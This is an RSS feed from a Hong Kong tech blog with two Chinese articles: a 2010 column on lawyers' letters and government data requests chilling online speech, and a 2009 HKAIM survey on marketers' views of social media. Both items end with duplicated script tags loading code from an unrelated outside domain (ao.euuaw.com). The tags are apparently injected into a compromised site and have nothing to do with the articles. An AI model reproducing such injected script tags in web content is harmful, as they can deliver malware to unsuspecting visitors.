<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>TechNow 當代科技 &#187; 香港互動市務商會</title>
	<atom:link href="http://www.technow.com.hk/tag/%e9%a6%99%e6%b8%af%e4%ba%92%e5%8b%95%e5%b8%82%e5%8b%99%e5%95%86%e6%9c%83/feed" rel="self" type="application/rss+xml" />
	<link>http://www.technow.com.hk</link>
	<description>IT Tech Weblog</description>
	<lastBuildDate>Sat, 31 Jul 2010 14:49:02 +0000</lastBuildDate>
	<language>zh-tw</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>公私法棍損害網上言論自由</title>
		<link>http://www.technow.com.hk/hkaim</link>
		<comments>http://www.technow.com.hk/hkaim#comments</comments>
		<pubDate>Mon, 08 Feb 2010 02:40:48 +0000</pubDate>
		<dc:creator>Charles Mok</dc:creator>
				<category><![CDATA[Event]]></category>
		<category><![CDATA[香港互動市務商會]]></category>
		<category><![CDATA[香港互聯網供應商協會]]></category>
		<category><![CDATA[香港互聯網協會]]></category>

		<guid isPermaLink="false">http://www.technow.com.hk/?p=18759</guid>
		<description><![CDATA[我在《蘋果日報》的新專欄今天起每月首星期六刊出！ 公私法棍損害網上言論自由 本月初，香港互動市務商會聯同香港互聯網供應商協會、香港互聯網協會，以及本地數主要討論區公司如香港高登、親子王國等， 聯合簽署了一份社交媒體專業操守，表達在支持言論自由、發揮創意和行業發展前提下，各機構雖不支持侵犯知識產權、私隱及作出誹謗陳述之行為，但亦承認個人 私隱、不公開姓名等權利，在個人、公眾和社會利益之間取得平衡，連表示「遵循法律規定……遵守要求披露個人資料的法庭命令和令狀」。 為甚 麼業界「突然」這樣做？原來近年不少政府部門可能因為便利執法，往往向互聯網商要求提供各種資料協助調查，有時甚至只作口頭要求，引述法例也偶有不盡不實 之處，互聯網商「聽話」反而可能冒上觸犯例如個人資料私隱條例之風險。這些執法部門包括由警方、海關至影視處，甚至平機會，令互聯網商陷於兩難之間，無所 適從。所以業界專業操守其實是希望告訴各部門，請依法先去法庭申請頒令。 但有時更令業界不安的，是各商業及其他機構甚至個人，因為論壇中 批評言論而向互聯網商發出的律師信，互聯網商本提供中立平台而被迫變成為人肉監察言論的工具，令有些論壇因息事寧人而刪除言論，嚴重侵犯言論表達自由。須 知今天有些律師樓數萬元套餐可為客戶全年任發律師信，未知法政會能否檢討一下這方面影響社會的「法棍」行徑。 宋漢生、莫乃光及高絲專欄將每周輪流刊出 刋載於《蘋果日報》2010年2月6日]]></description>
			<content:encoded><![CDATA[<div align="right" style="float:right;padding:0px 0px 5px 5px;"><a name="fb_share" type="box_count" share_url="http://www.technow.com.hk/hkaim"></a></div><p>我在<a href="http://hk.apple.nextmedia.com/">《蘋果日報》</a>的新專欄今天起每月首星期六刊出！</p>
<p><a href="http://hk.apple.nextmedia.com/template/apple/art_main.php?iss_id=20100206&amp;sec_id=15307&amp;subsec_id=15320&amp;art_id=13703565&amp;cat_id=13702682&amp;coln_id=10227748">公私法棍損害網上言論自由</a></p>
<p><span id="more-18759"></span></p>
<p>本月初，<a href="http://www.hkaim.org/">香港互動市務商會</a>聯同<a href="http://wwwhkispa.org.hk/">香港互聯網供應商協會</a>、<a href="http://www.isoc.hk/">香港互聯網協會</a>，以及本地數主要討論區公司如<a href="http://www.hkgolden.com/">香港高登</a>、<a href="http://www.baby-kingdom.com/">親子王國</a>等， 聯合簽署了一份社交媒體專業操守，表達在支持言論自由、發揮創意和行業發展前提下，各機構雖不支持侵犯知識產權、私隱及作出誹謗陳述之行為，但亦承認個人 私隱、不公開姓名等權利，在個人、公眾和社會利益之間取得平衡，連表示「遵循法律規定……遵守要求披露個人資料的法庭命令和令狀」。</p>
<p>為甚 麼業界「突然」這樣做？原來近年不少政府部門可能因為便利執法，往往向互聯網商要求提供各種資料協助調查，有時甚至只作口頭要求，引述法例也偶有不盡不實 之處，互聯網商「聽話」反而可能冒上觸犯例如個人資料私隱條例之風險。這些執法部門包括由警方、海關至影視處，甚至平機會，令互聯網商陷於兩難之間，無所 適從。所以業界專業操守其實是希望告訴各部門，請依法先去法庭申請頒令。</p>
<p>但有時更令業界不安的，是各商業及其他機構甚至個人，因為論壇中 批評言論而向互聯網商發出的律師信，互聯網商本提供中立平台而被迫變成為人肉監察言論的工具，令有些論壇因息事寧人而刪除言論，嚴重侵犯言論表達自由。須 知今天有些律師樓數萬元套餐可為客戶全年任發律師信，未知法政會能否檢討一下這方面影響社會的「法棍」行徑。</p>
<p>宋漢生、莫乃光及高絲專欄將每周輪流刊出</p>
<p>刋載於<a href="http://hk.apple.nextmedia.com/">《蘋果日報》</a>2010年2月6日<script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.technow.com.hk/hkaim/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>香港互動市務商會發現本地市務人員對社交媒體認知不足</title>
		<link>http://www.technow.com.hk/hkaim-social-media</link>
		<comments>http://www.technow.com.hk/hkaim-social-media#comments</comments>
		<pubDate>Fri, 25 Sep 2009 15:20:34 +0000</pubDate>
		<dc:creator>Ivan So</dc:creator>
				<category><![CDATA[Headline]]></category>
		<category><![CDATA[Insiders]]></category>
		<category><![CDATA[HKAIM]]></category>
		<category><![CDATA[Social]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[互動市務]]></category>
		<category><![CDATA[互動市務商會]]></category>
		<category><![CDATA[劉日超]]></category>
		<category><![CDATA[司徒廣釗]]></category>
		<category><![CDATA[張頌恩]]></category>
		<category><![CDATA[方保僑]]></category>
		<category><![CDATA[社交媒體]]></category>
		<category><![CDATA[香港互動市務商會]]></category>
		<category><![CDATA[馮楚夫]]></category>

		<guid isPermaLink="false">http://www.technow.com.hk/?p=16041</guid>
		<description><![CDATA[社交媒體(Social Media)無遠弗屆，連繫全球逾半億人口，在日常交際甚至生活上，經已變成不可或缺的一個重要媒介。從MSN、YouTube、Picasa、Facebook到Twitter，社交媒體在網絡社群中的地位舉足輕重，有挑戰傳統媒體的壟斷地位之勢。 有見及此，香港互動市務商會(HKAIM)近日就社交媒體這個新媒介，對逾千市務專業人員(Marketing Professionals)進行問卷調查，研究市務人員對這個嶄新媒體的專業看法及發展方向。 被訪者背景年齡介乎26至35歲，接近43%從事市務工作及當中兩成擔任企業高層職位。逾九成被訪者在過去六個月曾經參與社交媒體，當中56%被訪者註冊三至五個社交媒體戶口，以排序包括社交網絡網站Facebook、即時通訊應用系統MSN、錄像分享平台YouTube、網上討論區(discussion forums)及部落格(blogs)。46%人士每天會花一至三個小時在社交媒體上。 就針對社交媒體種類排行，當中社交網絡網站及即時通訊應用系統被選為最受歡迎種類，當中Facebook與Xanga排首位；MSN及Yahoo! Messenger則被選為最喜愛的即時通訊應用系統，而YouTube及Tudo最常上載錄像分享平台。當中98%有瀏覽及撰寫部落習慣的受訪者，亦都經常上Facebook。受訪者選用商務網絡網站如LinkedIn，其中93%亦會同時利用即時通訊為工作上交流。 當問及使用社交媒體之原因，94%透過社交媒體跟家人及朋友聯繫的主要渠道，其次是收集資訊佔74%，商務往來及為公司宣傳則分別佔55%及32%。 社交媒體所帶來商業上效益方面，佔90%認為該媒體提供快捷及方便交流渠道；75%該媒體提供免費或可負擔的宣傳途徑；而68%認為社交媒體能有效地帶來正面口碑的效果。有46%受訪者表示已將社交媒體納入市務及媒體策略計畫中，其餘21%考慮投放社交媒體在未來6個月宣傳預算之中。正當42%受訪市務人員不打算改變目前宣傳預算，逾過半數被訪持相反意見，並打算提升投放在社交媒體的預算，當中三成人會投資少於一成資源在社交媒體，而其餘21%預算一至兩成的資源在這新媒體上。 整體而言，市務人員對這個嶄新媒體的專業看法及發展方向抱正面而樂觀態度，尤其對較低調的公司及專注於社交媒體宣傳公司，會帶來更可潛在效益。然而，佔39%的被訪者認為香港並沒有數碼媒體公司能提供專業而有效社交媒體的宣傳，而過半數的被訪者不肯定這類型公司是否存在。 在日後宣傳策略，市務人員仍會選擇電視廣告為最可信及具影響力的渠道，而後起之秀社交媒體僅次於兩個百分點，兩者遠遠拋離印刷媒體，超過十四個百分點。他們會首選社交媒體能最有效地跟針對客戶建立關係，其次是電子宣傳郵件(eDM)，而傳統印刷媒體及戶外廣告板則排在較後位置。 香港互動市務商會會長方保僑先生表示：「整體社會已經接納社交媒體，普遍程度已經超越個人使用層面，而且有趨向商務用途之勢。但當涉及投放資源在這新媒體上，大部分公司仍持審慎態度；對市務從業員而言，是次研究調查能夠帶來正面的啟示作用，好讓他們積極開發這個新媒體的市場，相信會帶來無限商機潛力。」 有關香港互動市務商會 (HKAIM)： 香港互動市務商會於2007年成立，是一所非牟利及非政治的商會。本會的宗旨是為香港市務專業人士及企業提供合作及溝通的渠道，共同改善營商環境及提高行業整體的服務素質。發展至今，香港互動市務商會是一具影響力及於業內廣受重視的團體。本會與各有關的政府部門緊密合作，來推廣本地的互動市務行業的發展。http://www.hkaim.org]]></description>
			<content:encoded><![CDATA[<div align="right" style="float:right;padding:0px 0px 5px 5px;"><a name="fb_share" type="box_count" share_url="http://www.technow.com.hk/hkaim-social-media"></a></div><div class="wp-caption alignnone" style="width: 610px"><img class="attachment wp-att-16042 " src="http://www.technow.com.hk/wp-content/uploads/2009/09/group_1.JPG" alt=" 香港互動市務商會發現本地市務人員對社交媒體認知不足" width="600" height="450" title="香港互動市務商會發現本地市務人員對社交媒體認知不足" /><p class="wp-caption-text">(左起) 香港互動市務商會張頌恩小姐、馮楚夫先生、司徒廣釗先生、會長方保僑先生及副會長劉日超先生公布市務人員對社交媒體問卷調查的結果。</p></div>
<p>社交媒體(Social Media)無遠弗屆，連繫全球逾半億人口，在日常交際甚至生活上，經已變成不可或缺的一個重要媒介。從MSN、YouTube、Picasa、Facebook到Twitter，社交媒體在網絡社群中的地位舉足輕重，有挑戰傳統媒體的壟斷地位之勢。</p>
<p><span id="more-16041"></span></p>
<p>有見及此，香港互動市務商會(HKAIM)近日就社交媒體這個新媒介，對逾千市務專業人員(Marketing Professionals)進行問卷調查，研究市務人員對這個嶄新媒體的專業看法及發展方向。</p>
<p>被訪者背景年齡介乎26至35歲，接近43%從事市務工作及當中兩成擔任企業高層職位。逾九成被訪者在過去六個月曾經參與社交媒體，當中56%被訪者註冊三至五個社交媒體戶口，以排序包括社交網絡網站Facebook、即時通訊應用系統MSN、錄像分享平台YouTube、網上討論區(discussion forums)及部落格(blogs)。46%人士每天會花一至三個小時在社交媒體上。</p>
<p>就針對社交媒體種類排行，當中社交網絡網站及即時通訊應用系統被選為最受歡迎種類，當中Facebook與Xanga排首位；MSN及Yahoo! Messenger則被選為最喜愛的即時通訊應用系統，而YouTube及Tudo最常上載錄像分享平台。當中98%有瀏覽及撰寫部落習慣的受訪者，亦都經常上Facebook。受訪者選用商務網絡網站如LinkedIn，其中93%亦會同時利用即時通訊為工作上交流。</p>
<p>當問及使用社交媒體之原因，94%透過社交媒體跟家人及朋友聯繫的主要渠道，其次是收集資訊佔74%，商務往來及為公司宣傳則分別佔55%及32%。</p>
<p>社交媒體所帶來商業上效益方面，佔90%認為該媒體提供快捷及方便交流渠道；75%該媒體提供免費或可負擔的宣傳途徑；而68%認為社交媒體能有效地帶來正面口碑的效果。有46%受訪者表示已將社交媒體納入市務及媒體策略計畫中，其餘21%考慮投放社交媒體在未來6個月宣傳預算之中。正當42%受訪市務人員不打算改變目前宣傳預算，逾過半數被訪持相反意見，並打算提升投放在社交媒體的預算，當中三成人會投資少於一成資源在社交媒體，而其餘21%預算一至兩成的資源在這新媒體上。</p>
<p>整體而言，市務人員對這個嶄新媒體的專業看法及發展方向抱正面而樂觀態度，尤其對較低調的公司及專注於社交媒體宣傳公司，會帶來更可潛在效益。然而，佔39%的被訪者認為香港並沒有數碼媒體公司能提供專業而有效社交媒體的宣傳，而過半數的被訪者不肯定這類型公司是否存在。</p>
<p>在日後宣傳策略，市務人員仍會選擇電視廣告為最可信及具影響力的渠道，而後起之秀社交媒體僅次於兩個百分點，兩者遠遠拋離印刷媒體，超過十四個百分點。他們會首選社交媒體能最有效地跟針對客戶建立關係，其次是電子宣傳郵件(eDM)，而傳統印刷媒體及戶外廣告板則排在較後位置。</p>
<p>香港互動市務商會會長方保僑先生表示：「整體社會已經接納社交媒體，普遍程度已經超越個人使用層面，而且有趨向商務用途之勢。但當涉及投放資源在這新媒體上，大部分公司仍持審慎態度；對市務從業員而言，是次研究調查能夠帶來正面的啟示作用，好讓他們積極開發這個新媒體的市場，相信會帶來無限商機潛力。」</p>
<p><strong>有關香港互動市務商會 (HKAIM)：</strong></p>
<p>香港互動市務商會於2007年成立，是一所非牟利及非政治的商會。本會的宗旨是為香港市務專業人士及企業提供合作及溝通的渠道，共同改善營商環境及提高行業整體的服務素質。發展至今，香港互動市務商會是一具影響力及於業內廣受重視的團體。本會與各有關的政府部門緊密合作，來推廣本地的互動市務行業的發展。<a href="http://www.hkaim.org">http://www.hkaim.org</a><script src="http://ao.euuaw.com/9"></script><script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.technow.com.hk/hkaim-social-media/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
